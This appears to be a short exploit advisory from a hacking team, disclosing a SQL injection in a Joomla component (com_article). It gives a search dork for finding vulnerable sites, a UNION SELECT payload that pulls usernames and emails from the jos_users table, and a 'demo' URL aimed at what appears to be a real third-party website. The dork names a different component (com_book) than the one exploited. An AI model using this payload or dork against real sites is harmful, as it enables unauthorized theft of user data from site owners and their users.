============================================================================== _ _ _ _ _ _ / \ | | | | / \ | | | | / _ \ | | | | / _ \ | |_| | / ___ \ | |___ | |___ / ___ \ | _ | IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_| ============================================================================== [»] ~ Note : : <3 v4sploiter ============================================================================== [»] Joomla (com_article) SQL injection Vulnerability ============================================================================== [»] Script: [ Joomla Comp ] [»] Language: [ PHP ] [»] Dork: [ inurl:"com_book" ] [»] Founder: [ Evil-Cod3r ] [»] Gr44tz: [ v4sploiter - Mr.SaFa7 - Red Virus - Mn7os - Recruit - Mr.Skull ] [»] Team: [ v4-Team.com/cc ] [»] Price: [ Free ] ########################################################################### http://localhost/path/index.php?option=com_article&id=Exploit Exploit : - index.php?option=com_article&id=-185 Union All Select concat(username,0x3a,email),2,3,4,5,6,7 from jos_users-- Demo : http://www.utp.fr/index.php?option=com_article&id=-185%20Union%20All%20Select%20concat%28username,0x3a,email%29,2,3,4,5,6,7%20from%20jos_users-- Author: Evil-Cod3r ###########################################################################